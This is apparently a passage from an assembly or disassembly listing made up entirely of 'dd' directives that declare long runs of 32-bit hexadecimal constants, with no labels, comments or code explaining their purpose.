dd 0BF41A8E0h, 68CCE26Eh, 0D33DCDDEh, 0A80289Dh, 5F7B973Bh
dd 0CEA219D3h, 6754A057h, 497A6639h, 0E1166D44h, 5BF2CB2Fh
dd 3BC468F5h, 7904519Ah, 1E948C8Fh, 1F5DE452h, 0D01D0DACh
dd 0AE561B53h, 603E9F26h, 0B437774Bh, 1D458EA2h, 2ACCC05Ah
dd 0B2E5DBC6h, 2B0A950Fh, 5D3151A4h, 0BDBB9F6Bh, 72B76D73h
dd 72FEBCAAh, 0AEB2771h, 1A5ED3h, 0C9B4FBDEh, 87E7861Eh
dd 0F115E8B8h, 3BE3401Dh, 937B42CDh, 0CAFE7568h, 800CD307h
dd 7161068Eh, 9A4352D4h, 8E3A414Ch, 30CD7CC0h, 0A58A1EC3h
dd 1A417634h, 97CE50A8h, 0F334697Bh, 46CAC256h, 4FCF9465h
dd 0CDC9B68Bh, 0ABD1C246h, 4C083D3h, 1302BC6Dh, 0C899B212h
dd 0D926832Eh, 597A34B5h, 0C21E18Ch, 0F06FAFB4h, 0B994C985h
dd 53031275h, 0F7D561C1h, 865EBACAh, 0B043CEA2h, 0CB4205FEh
dd 929E3B7Ah, 40EE62B5h, 0A75DF0C0h, 57D1CF5Bh, 22559D52h
dd 0EA28DDE6h, 561E510h, 9EF91CBEh, 1F650791h, 9D74E4CCh
dd 0F7033D0h, 0EB9E443Eh, 4E069DA0h, 30E542E8h, 0EF8036CBh
dd 0B31249D9h, 78884B39h, 0D3751F0Ch, 123BF9D6h, 0ABD3F277h
dd 0A9C4660h, 6AACD4EFh, 8D795569h, 80EE8B87h, 1662213h
dd 68BA9EEDh, 8E567DCFh, 0F1B8ABC3h, 0C0438521h, 1CC056DAh
dd 8B65A3BFh, 5A3A5D7Ah, 7481284Bh, 29D68B96h, 0FE3B7886h
dd 0A74D006Bh, 0A70C3F14h, 3423148Fh, 7926243Ch, 57900A9Dh
dd 0F7192774h, 166050C6h, 66651E34h, 2BACCF59h, 86C98879h
dd 4DDED632h, 0E86C7436h, 3FB17ADFh, 0F487BE51h, 6D780812h
dd 4E19C35Bh, 3B70A779h, 0B31AD3EEh, 6F439DB5h, 0E79A02Dh
dd 0BA02F110h, 0DCAA5C51h, 0A995AFC8h, 44F816D2h, 7A6F01E1h
dd 0E34C2A9Fh, 97ECEE01h, 809802FAh, 3F937821h, 0BE32273h
dd 1E74E031h, 97149503h, 241AFEA6h, 0B6EF59D4h, 0D7ADFDB2h
dd 8713092Bh, 1019647Fh, 31A74960h, 0FA92AE7Dh, 0AA22E463h
dd 91AA9661h, 0B2BB93Ch, 247AC2FBh, 13FC1F7Eh, 7B0AAF5Bh
dd 0AD5B774Fh, 0D1F0582h, 0F9208F59h, 0BBA298F5h, 71E506A6h
dd 5F1C6D60h, 362FDA21h, 8D17F8FAh, 10331213h, 0F390C110h
dd 98DAE9D7h, 0A2BD4F78h, 10064292h, 73E13C44h, 5775FD37h
dd 0E8CCD17h, 2DFDB8E6h, 0C962F65Dh, 2153CE3Eh, 53B9DB20h
dd 988AE132h, 0F88E7169h, 0FB7AEACEh, 3093239h, 0F048AF99h
dd 629EB91Bh, 52C158B1h, 8563A56Eh, 0D8DE2781h, 782C7CD0h
dd 0C2644C5h, 0D1B13C18h, 66E31004h, 0E67B509Bh, 7D96842Bh
dd 0E4B09C2Bh, 231B2DA9h, 1899BCA7h, 0B353D4F4h, 6C85F17Ch
dd 0F998FAD0h, 414C0B19h, 0B4F7A633h, 57EC392Eh, 7C5E0EBAh
dd 10D19EF6h, 0BC41EE7h, 8DEF3C3h, 75836F25h, 821CAB05h
dd 3F5BFD17h, 69E6ECE3h
dd 4168A311h, 183B3CC5h, 2BD79D7h, 0ADB909B5h, 89C7124h
dd 5F182F66h, 0D31282Ch, 1B05BCCEh, 3193367Fh, 0B2BF3787h
dd 2797ADCFh, 6E3D353h, 0DF8DD7DCh, 0AAF2E0F4h, 0F3B3714Bh
dd 9669D41Bh, 7E551AF9h, 740F7ED1h, 86ECDEDFh, 0BEE5BEE1h
dd 0D0D5ED44h, 0CA724425h, 8627DE1h, 6E2CBCBEh, 9381C4F5h
dd 0E5C68B1Fh, 82838510h, 4C89BAF0h, 9342986Fh, 0CB89E90Fh
dd 0FA191672h, 1FDD62B9h, 0B64A8A8Eh, 913116F7h, 6BCBCCFCh
dd 96777D62h, 0EE5D6618h, 0A9819A5Dh, 6FFA61B3h, 0DE592F96h
dd 0D565EE6Ah, 1B0B51A6h, 0CB02109Eh, 9839FD43h, 236FFD17h
dd 0FFB9693Dh, 56C7E120h, 0A2E71BD0h, 70E94B94h, 0E5388265h
dd 3BEE4213h, 0B9C2EDB4h, 9E0E9243h, 0ECE78F9Ah, 5BDFE0C9h
dd 8C959E11h, 7A635A4Eh, 0B0B3EE3Dh, 8AD7954Dh, 0FC08E1E0h
dd 0F7DB0EF1h, 6F7B33Eh, 747FB56Bh, 0A0596AE0h, 985F37B3h
dd 456714A2h, 0E33BA3E9h, 0CC3B0477h, 0A2771DA5h, 16DD585Ah
dd 6D11B50Bh, 1AA1BA0h, 0CB19BE18h, 6D0A32E1h, 0D04F5625h
dd 9D708209h, 0EB2DF23Ah, 0C1E2705Bh, 0DA78F042h, 2429E0D5h
dd 0C984AB67h, 1ADD287Eh, 0FFA3EF57h, 7B7BD74Ah, 0C23235BBh
dd 0C65B0B9h, 7F04F979h, 0C14793DEh, 3842F067h, 0C05D4D37h
dd 5DC1B379h, 16331388h, 673CFE25h, 8EF5FB78h, 0F7712963h
dd 0ACADF660h, 3625F5D0h, 0DF59D385h, 19754744h, 31AB74C2h
dd 0A511C9B8h, 6C66F0D2h, 213F6290h, 3F267D48h, 7AE2304h
dd 8D829C0h, 4C0C35A1h, 0F47E6F6Fh, 0DEDE2F85h, 323C450Dh
dd 95274507h, 0CBD85845h, 53A9DAA7h, 3EE4D8Ch, 25550141h
dd 5BA1F6E1h, 58BFDC26h, 931E89FAh, 6863B3Bh, 6C446707h
dd 1FB5A45Fh, 0EE1FAFD6h, 3E2510E3h, 422D0BCBh, 0F4E54Fh
dd 9E2E6104h, 25DE445Ah, 0D66637B4h, 75898B17h, 79775183h
dd 6899CB58h, 14CF10B4h, 6E7EDF39h, 41424CBFh, 6255DB3Ah
dd 2B33A0E1h, 61B40376h, 6551B467h, 5BB62D90h, 527BD583h
dd 1EA7328h, 0F873F445h, 2F67275Eh, 74796471h, 632E4775h
dd 0A0A0392Dh, 0C86BCF9Ah, 2C049F51h, 0B86972F0h, 0CF89D54Ah
dd 765A3339h, 4D2ED9E4h, 60C8B5FDh, 62DBB697h, 9502DBE5h
dd 0A64CE040h, 4759DD0Ah, 87DDBBDBh, 13EADB0Ch, 990A0503h
dd 5F9E02CDh, 25D30150h, 4DBEDA50h, 779EFDDBh, 28A39D4Ch
dd 991CE85Bh, 2F6A83B0h, 1E2B0815h, 5154ED09h, 0FDF5D72Ah
dd 0ACD25B35h, 1841F820h, 1F27AC05h, 8729AFECh, 0FD722F6Ch
dd 0B3938A81h, 3F70714Ah, 0EE721855h, 6F62C797h, 973314E9h
dd 0AF6B006Dh, 0F09C622Bh, 0F995CDDh, 88F510BBh, 4C2F8075h
dd 51C2045Fh, 0E4D71B76h, 223D32E8h, 17ADB047h, 0ED0D6B0Eh
dd 0FC4DEEE8h, 47FF6F0Eh, 138990F2h, 4F73B5D0h, 0A7E1364Fh
dd 1CC633F2h, 0B9979CDAh, 34999FBCh, 0F98791D2h, 0E3D95BDBh
dd 88C35401h, 0F784A46Fh, 5946078Fh, 1001AF43h, 1B97C949h
dd 75559415h, 11A65692h, 8F21E6ECh, 871683F5h, 3268A3B9h
dd 0BDA7B8E7h, 92B06B78h, 88677B5Eh, 85645FF6h, 47C94927h
dd 0F0B05AAh, 0E5F92555h, 0EC6FCD7Dh, 0CAA19FE5h, 8E7FE8D3h
dd 0EEE32E92h, 101B89F8h, 7E4357BFh, 0AF1FDB1Bh, 0FF1945Fh
dd 74632EB5h, 0EEB70BFAh, 0C606B0F1h, 738F85F4h, 897E9A31h
dd 52A9A95Dh, 97C8E16Bh, 5A8119A2h, 0B45B1E1Ch, 2C88743Fh
dd 5DC2583Dh, 0D2C07318h, 7EB5100Fh, 89B4D2B1h, 62529B33h
dd 0B0892C5Bh, 0AE49F3E9h, 0AEED520Dh, 0E816C1Fh, 0D99B1C6Ah
dd 2A28A48Eh, 913E77F8h, 0CAED5120h, 0A4FFF4E5h, 0A2F43C7Fh
dd 5CF16AADh, 73CDA330h, 82AD6890h, 65365B6Dh, 845A8494h
dd 4407F64Dh, 0FD88C99Eh, 0DA067C6Ch, 18702727h, 0B098DCh
dd 0C1B2B95Bh, 0C7EF1803h, 0B40BB7C6h, 7D54C91Bh, 5EB16234h
dd 47A12018h, 0F7C9588Ah, 0ACF35688h, 9181E85Fh, 4C2F7E94h
dd 59FEF741h, 62F3493Dh, 11F39C87h, 0EFC31828h, 0BB351AB7h
dd 0A77E8016h, 0DB608B6Ah, 4A17CC95h, 5C16D13Eh, 644D427Eh
dd 1CA4CE79h, 12965763h, 0B8C9E441h, 890EB2CFh, 24B427E3h
dd 99CDDDFEh, 0E732662Bh, 0A0695FBFh, 6E93C67Bh, 0DB0476F2h
dd 52B9F861h, 475C75FEh, 0C0F81296h, 9D9D0A0Ch, 0A99C97DFh
dd 89BC703h, 0E0DA409Ch, 4A20E06Eh, 815E0275h, 2B5C9ECBh
dd 1C89C334h, 0FEBFCDDEh, 0DD5125Eh, 826E0ED5h, 972ACF55h
dd 1EF8686Dh, 133C55A6h, 0BBFE3ED1h, 7DC26724h, 0B43F5CC9h
dd 9764E4E9h, 15BBA19Fh, 5257C231h, 0FEC7067Fh, 0CA7DF990h
dd 5B1705B5h, 4F9CCD83h, 2A7252C2h, 55055BBDh, 0B8EE1790h
dd 612AC1E0h, 439055C3h, 0E2F9B15h, 0DE3123D0h, 0FD2FF485h
dd 670EFF97h, 0B9F70C7Ah, 2834BE92h, 77EB64C0h, 0E9E7F306h
dd 0C94DDCB5h, 4DD71DE5h, 9F7C97F6h, 2758BAD7h, 0B972732Ch
dd 0BD1FF4DEh, 712C9994h, 4E628B8Fh, 0D24521D2h, 0F6B32A3Fh
dd 7415ECA7h, 15059E20h, 685A3C92h, 1B0744EAh, 7076C270h
dd 0E8C161C7h, 0FFFC867Fh, 0AD37738Ah, 0FDB60A30h, 0F5327746h
dd 1716DC71h, 0A88BFB18h, 72D2D45Ah, 1915E64Ch, 0DB4DEF70h
dd 0CFFC8DA3h, 0DC5A8F6Ch, 67D55056h, 54EBE6F4h, 0E05B7C58h
dd 393D757Ch, 9B905DC1h, 0F92E9F7Fh, 9E9CF789h, 0D3E0D3E0h
dd 53CE99E5h, 8A5872Eh, 50F700C6h, 5523B590h, 3BEEB6CAh
dd 0F4B5AB0Fh, 0D47F3835h, 837C1532h, 48D6ED00h, 93AB2F4Fh
dd 0D8F902BDh, 37A631B9h, 0AB8B60BAh, 420D61CFh, 1CCFA1D7h
dd 0D46B9F87h, 87BB49B2h, 0F89AF690h, 16408663h, 0D6615C81h
dd 15A56B54h, 0EA974F62h, 94D00164h, 0D22FC216h, 828D12A4h
dd 2882DEAEh, 8C8951ACh, 9C9277E8h, 0C73DFE66h, 7CB3229Ch
dd 0A9882081h, 474BFBECh, 7DAFF0B4h, 70FAF41h, 1066C2BEh
dd 9801DAADh, 0B9A0575Bh, 5C7FE8CFh, 998E39BDh, 30C50E27h
dd 0E84806BFh, 0FCEC88D5h, 92685AD0h, 44A2027h, 4E534603h
dd 0ACE025AEh, 0C7AACAEh, 0A56C706Ch, 350960BFh, 635A8912h
dd 0B4BDA5E7h, 8C66C8F5h, 3D930B70h, 456F6A4Bh, 0B107E249h
dd 48DC0683h, 14BEE8Fh, 3357A86Ah, 0B50D052Eh, 0B61C1CEBh
dd 7D4056F9h, 94AA93B2h, 35A7FBAh, 0D9936FAEh, 3CD207A9h
dd 7196D7A0h, 75578D35h, 0CBBEC3B3h, 74A56D10h, 0BD8ACAFEh
dd 774C67FCh, 211820E4h, 1B4A8321h, 0DEEDE749h, 86A7F6F2h
dd 77D9FB60h, 6851DDA9h, 3FB10472h, 7ECCED55h, 351ED1DDh
dd 96C2933Bh, 0BFE4D354h, 67551369h, 0F5A01E5Ah, 0B835285Ah
dd 2583BE3Ch, 0E0697B64h, 0B56AE7FFh, 6D268E1h, 5FA03CBDh
dd 3DBB7971h, 0FC79F4B4h, 8F42BE64h, 0AE8C21CAh, 0EDBCB543h
dd 7F0C205Bh, 0CEDD908Ch, 7E192A9Ah, 2E7BC5A6h, 2942F81Ch
dd 0E7CB2AF0h, 386D637Ch, 5245AB19h, 3809104Ch, 74229A60h
dd 716935ADh, 0A00424E2h, 0BAD8C27Bh, 0BB75F59Ch, 95E9C2FCh
dd 341D9D7h, 0F771A9DEh, 660AD9BCh, 547A4842h, 0FD9D648Bh
dd 0D854F2B9h, 0C7F57670h, 112BAFE0h, 9876967Fh, 45F87B5Ah
dd 474AFC2Ch, 7AD94662h, 908AADC6h, 5F24D1Fh, 0AB2E5032h
dd 73B2B4F8h, 53B5072Ch, 0E79B86BCh, 0C3CF0D27h, 8517AA08h
dd 0D569A2EAh, 0A81B6398h, 0EE892267h, 0B79F7742h, 0C5A30E3h
dd 0A71BCBAEh, 861DDB33h, 29FE8082h, 78AB2B60h, 0D58E6438h
dd 0D049AF3Bh, 341C4527h, 66BADFCFh, 0BAD6AC64h, 5EB7480Bh
dd 5A58F3F3h, 7AFE792Fh
dd 2FB90EB4h, 6CC9F07h, 573B3EC6h, 36C92ECBh, 25A0D890h
dd 0A3A1A3ACh, 0B2758532h, 9308B4CFh, 0A6967B14h, 0C4849FFBh
dd 35A5B52Eh, 0FD7B56FDh, 0D15C9E90h, 0B3EFCD7h, 40B26BCAh
dd 0F455F4CAh, 0B855ACA1h, 3ADA99D8h, 0E1DE3B11h, 0A533967Dh
dd 0DA03FD45h, 0C4790AF7h, 7DF15129h, 38C77FD5h, 6E188F2Ah
dd 1766D6Ah, 22149B36h, 450D93D9h, 1AFD8D83h, 231DC45Ch
dd 0CC36FA79h, 0A2523FCDh, 5557FBF1h, 0DE42CE35h, 0EFB7D5F2h
dd 0CE571A75h, 0C7E91F0Ch, 0D97B29FAh, 0A17BA0CBh, 0EFB913E3h
dd 0E61B4A1h, 184A4C58h, 0AB18AB39h, 8B90318Ah, 3F291F94h
dd 992629F5h, 0DA16E3C6h, 0A8C4CD7Ch, 0E7310E7Ah, 6BDBF3CFh
dd 4D9FEBD8h, 2A21252Dh, 8963C37Ah, 751E5BA6h, 0B1DE7456h
dd 632083EFh, 0B605BC06h, 0AAA8C591h, 0E40A8800h, 0F5E9F9F3h
dd 13AA867Fh, 0F01CDE9Ch, 21F8ECE7h, 608710DBh, 0D9396A2Ch
dd 73CC7F0Bh, 73D1C27h, 0B1154807h, 0C5C7681Dh, 557142A4h
dd 0EAB9B9B7h, 241DAE37h, 5C129458h, 0C63C3373h, 4B21D743h
dd 2B794CC2h, 0CB0CFFAh, 3A870807h, 0F4951BEAh, 62AA3127h
dd 4EC40E41h, 7B6E5F01h, 0C971E734h, 325E67AFh, 7694C621h
dd 0EDD5A2AEh, 7426355Fh, 5AB3D7F2h, 83E21756h, 0B2DDC3FDh
dd 0FC2EB54Bh, 0D6905032h, 164BD21Fh, 0FF63F2E2h, 0F50EE108h
dd 8BA8B149h, 0C0D40228h, 16903C0Dh, 75DEB41Eh, 9385E5DDh
dd 5C401665h, 916704DBh, 1A2BAA48h, 2BBC189Bh, 0CB65928h
dd 1C884597h, 0C5A44478h, 0B5FB78CEh, 1D66B671h, 6A990602h
dd 18EF9027h, 19DBE65Bh, 3CD8FA7Ah, 995485Ch, 66A512F5h
dd 99B88A6Eh, 12510E9Dh, 51316C43h, 60AB3104h, 830199B4h
dd 154EDECCh, 64D2FF04h, 0A7180701h, 154705AFh, 0AB3D8571h
dd 0F2244740h, 494A2908h, 78B97107h, 47FD7D90h, 0F1950076h
dd 5F706EE1h, 14C89694h, 7DD30EAFh, 0D976D27Bh, 0EE440EAEh
dd 301FC28h, 0A5475F54h, 1B849485h, 3F837CADh, 9C527CE5h
dd 0BF58C3ABh, 0B52A3BA8h, 5D9F928Dh, 8EEBA93h, 0C5A09721h
dd 6C4619ADh, 0DFEEED84h, 0B1108FACh, 0FCAA8CD0h, 98237A12h
dd 68FED411h, 9C0323CBh, 0F997AC0Bh, 380EC245h, 0F7210055h
dd 35324395h, 0CCE2AA41h, 94E06D8Eh, 271F29FCh, 0A57A51C2h
dd 0AF5DD21Bh, 5AFAB1AEh, 0D43EB60Ah, 9E0FAA1Ah, 0E3342D62h
dd 4A49EA0Ah, 37808CF9h, 333524B3h, 975FD149h, 82566FB0h
dd 95B1508Ah, 6DF31CC6h, 87D24FA1h, 4DBF8574h, 5EE38F3Ah
dd 0C27799CCh, 0B0074515h, 0BFCDD8D6h, 6ADA77CBh, 62D0741Eh
dd 92C049A0h, 5294AB82h, 99B20AC2h, 45FDDAB1h, 1E850057h
dd 0E80B42C9h, 0E0A09E02h, 22C33AA4h, 0DEE3763Ch, 0F4BA3B85h
dd 0A31D480Fh, 68D98F76h, 8325F438h, 0DDBB79BDh, 30EFCEBAh
dd 79DF5482h, 2955BCFCh, 366B77EEh, 3B07C762h, 0AB4D398Dh
dd 0EE567220h, 0FC347DBBh, 0B30EF954h, 0F3FF7669h, 9A16F199h
dd 0DD49B83h, 3276C240h, 50E047B9h, 2C82CE2Ah, 8AFB4E06h
dd 119C8ED8h, 668D6BCFh, 43859B5Fh, 0BBED58A4h, 2D9DE4B6h
dd 63BAF08Bh, 31F6CB81h, 0D450F05Eh, 0F13875E5h, 0B7E1F251h
dd 766D8127h, 29569CA1h, 25A902E4h, 59CCA062h, 641FB009h
dd 8B784835h, 559A4F22h, 50F01CB1h, 0BB912819h, 0A153CF52h
dd 4FA81D64h, 74F32C30h, 29AF066h, 0DBF9CFDFh, 0E5C39CD6h
dd 0E51F1796h, 612A5094h, 3FEBF9EEh, 0AD2F64E3h, 0DD187478h
dd 0E96D1367h, 0AA1CF3CCh, 7A942FADh, 9E3A7B1h, 5862C513h
dd 0EA79D61Fh, 0CB1542FBh, 3486E4A5h, 88C19A21h, 3F7031AAh
dd 2BFA6441h, 3591D86Dh, 72EACE9Ah, 2C8BD984h, 3CF30290h
dd 37F9C493h, 489289DBh, 3D0D265Fh, 388DA566h, 7721D50Eh
dd 0E177C668h, 54B93AE6h, 200E96E7h, 3D8A61B2h, 535DF6C2h
dd 9EBC7603h, 5C53FFDEh, 0AC90D77h, 0A68DA3F0h, 0BFFF5A1Ch
dd 130E6D1Fh, 0EE17AFB0h, 34314876h, 0E8924A24h, 19902AE3h
dd 0AE10DD9Fh, 0D1AC7270h, 0F93755F4h, 7AF4D768h, 7CA5D3Bh
dd 2F20C0E1h, 0D4F254ADh, 8920F796h, 0D02635Dh, 2837F9A9h
dd 2106F303h, 66AB0E12h, 0D28091A7h, 78E6FEDDh, 0DE75ABC7h
dd 2123B8B2h, 0E5F0C6C4h, 4C08691Bh, 80818D10h, 2EEAE24Dh
dd 35807559h, 4B2A908Ch, 58B4DC86h, 0E382AE34h, 0F266E756h
dd 133D1218h, 17F45E9Ah, 0A9D2F615h, 20B2217Dh, 0CD0821CFh
dd 7BC488D2h, 609C5546h, 26737A43h, 0C3F8EAEFh, 90B59397h
dd 72F437FFh, 0E79CBC5Bh, 7FC40A73h, 69B75DC1h, 3F71F014h
dd 24C93765h, 0B9BB4633h, 0EE6EE4DDh, 117A0923h, 0B05CB86h
dd 0E8FCED73h, 0BFFB51EAh, 0D77414AAh, 0FAE56478h, 4B2EE635h
dd 4897C94Bh, 43BB4EE4h, 0C17BB42Dh, 0D086B1E0h, 0DB88DD18h
dd 798087C0h, 9A5E1D9Bh, 0FF2F6C66h, 0AD127456h, 0C7F1808Eh
dd 22371643h, 0C1B089B2h, 0A8403377h, 4BBA4FD1h, 8DB2FF93h
dd 0DE0C337Ah, 883C039Fh, 243F2125h, 57A56267h, 978D9FCEh
dd 9B37CC05h, 7C330B8Dh, 61FE3Bh, 42DF1B80h, 0D888C56Bh
dd 0F6D33F4h, 0F0EC9633h, 8B0D89Bh, 0E07A1E1Fh, 3A04FFCh
dd 55DC525Dh, 44F90027h, 5E7F0B28h, 4BDE2458h, 0CA4E903Ah
dd 0F7D8C0E4h, 57F6C453h, 0DA4FD54Ah, 0ED36A85Ch, 0E4BFEB32h
dd 99B71798h, 482EF71Ah, 6542E917h, 28D978ABh, 224F5082h
dd 3EAF8D70h, 0A8E5986Eh, 7E36B402h, 0B9E46B4Dh, 0C9462D50h
dd 9620F9EEh, 5C9F8B5Ch, 8807B9EAh, 0C2DBF1EDh, 35658A7Fh
dd 44D9E403h, 7C73B305h, 143A3AA2h, 1BD98160h, 0B87CBB0Dh
dd 0E127A1F3h, 8988D7Dh, 6B4F7FB9h, 0FDFD01DEh, 0C8EB9026h
dd 0BA13DD61h, 71E63AF7h, 0A0061975h, 77658020h, 68E31999h
dd 84F24B21h, 0F9A9D5B7h, 38B2825Eh, 6116E796h, 9826AB92h
dd 847E9E18h, 1373DA15h, 0E32E24C9h, 0E7B64D9Fh, 0D01C7886h
dd 2C4A148h, 5617BC17h, 8CBFCD8Bh, 6A1A59CCh, 2513C36Dh
dd 0E9EB4CCFh, 0A702D4EEh, 3DB4BAA9h, 14D669A6h, 0D82D111Eh
dd 0A71A8D22h, 64D9E465h, 0B1FF668Dh, 0F7C711BBh, 369D5D7Fh
dd 84DAA503h, 3EB49FD7h, 7DDE321Eh, 20606DEh, 1AE7AC8Fh
dd 0EDE7D851h, 0AA02CAAFh, 0A1058433h, 9B6909B5h, 1AA34AA0h
dd 0E2D18F33h, 4B179A86h, 1F38456Bh, 5938EECCh, 8B9A2565h
dd 1960093h, 7B00C70Dh, 1E1293EDh, 5EEF41EEh, 0CBEBBA93h
dd 4AAAE6C6h, 84F697FDh, 2A9C4B5Ch, 7C7FAF02h, 891C75A7h
dd 0BDD4E743h, 394C9D1Ah, 0E699CB86h, 0F647F156h, 98416FAEh
dd 0CDA3D28Ah, 1B04DD0Bh, 0C81B03ADh, 8D95B8E8h, 7F09B747h
dd 0D597A075h, 16EC9EBDh, 0CFFCC19Bh, 6C0D0DA5h, 0E7610AECh
dd 44E61164h, 27D51E8Bh, 53F07D6Ch, 6B3D4860h, 483CC71Eh
dd 55293733h, 119135C3h, 0F683D8F9h, 0FD3D87F1h, 0CE38B302h
dd 68D1B337h, 0C0D3F7BEh, 1F335340h, 0BC30111Fh, 0AF0C9159h
dd 8686F324h, 85D5816Eh, 0D79C581Eh, 0E0B1A3D1h, 1AA47178h
dd 0C8D9FFF4h, 0D86A48A9h, 597CB305h, 0BCCBCC2Ah, 0E2B7B8EEh
dd 3519FC43h, 137D582Dh, 27024282h, 0CADFD1F1h, 0CDF164BDh
dd 6C2DD1BEh, 38DF6030h, 2692C943h, 894D43C7h, 1CC6F0A1h
dd 8DD97601h, 61DD9C7Eh, 0FB09188Dh, 4B9CCA4Ah, 0C85B1191h
dd 0F6CC217Fh, 2ADAA066h, 1DFE7643h, 0BA7DABAh, 0F78E0DBh
dd 0DF49D1BEh, 63D2F435h, 1E2D89EAh, 0E715F730h, 2C48925Ah
dd 94C74F09h, 0E5609299h
dd 0F67A866Bh, 3C9D3AE6h, 8FFDE4E7h, 5C8BD30Eh, 83DD81A6h
dd 6D004FFDh, 0C918753Ch, 72CA2981h, 0DABB8B03h, 36BC494Ch
dd 946A05E2h, 51165298h, 8318ECC1h, 29D8F46Ch, 0D20634A4h
dd 0CBBF56BCh, 0A71158C4h, 0D2EE86A8h, 896B61B5h, 466638E4h
dd 25936ABAh, 3770E83Ah, 7BE835F0h, 61AA0D2Eh, 82D2CF5Fh
dd 110BBA3Fh, 26ECC927h, 0CD2F004h, 500F511Bh, 2EE1BE59h
dd 0A29A7DCEh, 5D01ABCDh, 0B4AD8F56h, 8362DC9h, 3ACF11C8h
dd 0A787EC61h, 0F8F31AABh, 22952658h, 0C71E764Ah, 98FFC8B9h
dd 0A9210DC4h, 0D1C8DD2Bh, 5D794151h, 612CEE4Ah, 41448A7Eh
dd 3556359Fh, 0E15126C3h, 0B9CA6456h, 7ACC3EBDh, 3CB46ABFh
dd 990358D3h, 22CC0BAEh, 6E3DBFA8h, 9BD7EFA8h, 114ECFDAh
dd 0C18517A3h, 3C872245h, 0AC6BDC49h, 0F5F4EC27h, 0A74C899Dh
dd 6D685CA7h, 602A2893h, 6B5DEFCFh, 0AEA4EA11h, 0C18590A9h
dd 0E55B6F59h, 4026A93Fh, 80CFC0D1h, 0F1EE155h, 0B4ADE3CDh
dd 89285DCBh, 0E69AB460h, 0CF78C414h, 27EFC5B6h, 0DF0E7DF6h
dd 9A3C1E8Bh, 8227DF16h, 8F58A8E2h, 0E3397BCCh, 0A829B2D1h
dd 29C996DCh, 0D50DCBC3h, 0B4443A45h, 636B1F4Ah, 0DF0F404Ah
dd 3A58A2CEh, 49D23196h, 46D02095h, 87610836h, 67C31352h
dd 6A406E0Ch, 17BB9814h, 99EB5100h, 94F2AC7Fh, 51066273h
dd 0A1F2F13Dh, 7B5B163Ah, 0A197FCEBh, 92A177Eh, 644DDA98h
dd 34378F92h, 0C6EF20A7h, 253D5B99h, 92FACBB5h, 62A3C270h
dd 5FAEE25Ch, 74DA67FDh, 140BFD10h, 0BED39F38h, 82419FE3h
dd 0A69CF019h, 164FE98Dh, 71733615h, 0BBE6AB2Dh, 90AAC05h
dd 38CD4AC2h, 3617DAEEh, 40FF609Ah, 256ADB56h, 680C9E08h
dd 0EDBCC024h, 9207B731h, 5F385BCBh, 5B9433C1h, 8317C5E3h
dd 21A25B31h, 2D3168AFh, 89D8CAAh, 0F9C4E4B5h, 3A85B579h
dd 3B1CE180h, 7FF959F8h, 59C385C7h, 5A8C70FBh, 54B78873h
dd 63437CA5h, 0CDD894E8h, 7059165Ch, 280893EFh, 6F01AE86h
dd 268099Bh, 4486F16Ch, 59D36761h, 7A787ACBh, 0EA03C928h
dd 0FD2E3F79h, 8B3AB76Ah, 9D3F82CAh, 241D6F6Eh, 0A67964B1h
dd 0FEC6E856h, 84F7D4E0h, 0C0C29D50h, 0F543556Bh, 8F216E73h
dd 3282AB36h, 0E55B03E8h, 8745D4B6h, 0E57A2B19h, 0E0AC4D63h
dd 20BA5D3Dh, 0A88750D3h, 970D0BD0h, 32F56814h, 16AC3750h
dd 47457BECh, 18FB29A5h, 0F5F2EA60h, 61162CA1h, 0DA4C4D95h
dd 93F5F8C4h, 4451E13Ah, 114DF567h, 2CAA3000h, 6E7ED335h
dd 0C680B381h, 97F241BEh, 4944EB71h, 543298F1h, 17E92ACDh
dd 6CBD3D3Ch, 0BA118726h, 0B68889DEh, 0D43DC703h, 0DA78D47Ah
dd 5347B771h, 4AD351DBh, 0CD7EC88Dh, 0A7DB2812h, 0FA8A6111h
dd 0B368CBDFh, 31A208A8h, 0D801772h, 0D8CCD816h, 0A7C13B7Eh
dd 2FEF3A5Fh, 4CA93508h, 896D03FAh, 6821DE53h, 58EF9EFAh
dd 0ED0112FFh, 461E6E87h, 2F74F9DBh, 9990A77Bh, 7C5CB0AFh
dd 3A635624h, 0FC85143h, 112DD450h, 0E1FBC5EFh, 5850E6D1h
dd 58A1A29Bh, 21DC18Eh, 279BE3F9h, 57603B15h, 54F9262Fh
dd 0B1F7B862h, 0ACBB8888h, 0B3B263D5h, 44F01745h, 0D35CFF2Eh
dd 5AA44568h, 0A0BC503Fh, 1D10D592h, 54C84391h, 0CA3BF5D4h
dd 0BBEAE38Bh, 0BD79C2B1h, 0F7CF4C0Bh, 79D58CDAh, 12E3B04Bh
dd 70830CFCh, 7ACFAD58h, 8A1735C1h, 4D51053Ch, 0BBE6BFA8h
dd 3FB33193h, 4FC57A76h, 0E11EC08Fh, 545145F1h, 0F873316Eh
dd 0BD706C6Eh, 0DA9F5E4Bh, 147D3290h, 20A83DE5h, 0EC16ECF1h
dd 503AA124h, 41508895h, 0F3CE0A57h, 5FE8A813h, 0E476CC45h
dd 7E23D949h, 6C24582Eh, 6DB69AF5h, 540F44B4h, 0AFBD003Fh
dd 0C7D236C0h, 2060DEC6h, 856E0117h, 0E52A15CDh, 7EB3AB28h
dd 0ED662BE6h, 0A37645F2h, 0BE51AF17h, 0F4FD4948h, 3C72D397h
dd 158BF09Dh, 3F2AF863h, 0D2F2AE74h, 0BB8ED172h, 5BFEAA6h
dd 0E9CD24F2h, 3D89BE6Fh, 32A435BFh, 5D0CD725h, 0A42EA4A7h
dd 28E71E5Ah, 0AED96868h, 0DB444D18h, 7A67742Fh, 6AF6380h
dd 89AD1CA6h, 2391A781h, 4B343337h, 43605126h, 0A25C2D63h
dd 704FF7B2h, 1D2D6BE0h, 0C74922CCh, 0F40EDF1Fh, 0B96F3EFBh
dd 0F22A226Bh, 7F351B9Dh, 86E98AE1h, 2E6A475h, 4EC08453h
dd 3BBDBE04h, 12F79EC7h, 5865C71h, 8DD326D0h, 0DAE4F3B9h
dd 0D33A83E5h, 0A8F29A3Ch, 0C8B33675h, 8A22A46Fh, 3A1521AAh
dd 0DFCFFC85h, 38CE1D17h, 910B8641h, 0BF7BB15Dh, 456EEC2Dh
dd 69F6B76Bh, 1351AB9Ch, 96FEF78Eh, 54F89FDCh, 4AD46A76h
dd 0A0FA95F6h, 7577AA87h, 0FE5390B1h, 17136CDDh, 1529972Ch
dd 43D2D914h, 0D51B1582h, 0D032136Fh, 4E023C38h, 9FC30009h
dd 0AA89F71Bh, 0E721BD04h, 23F206E2h, 0B66063FAh, 5970A008h
dd 212B9C9Eh, 8480825Ch, 6173E1C0h, 0E688AD57h, 75585F01h
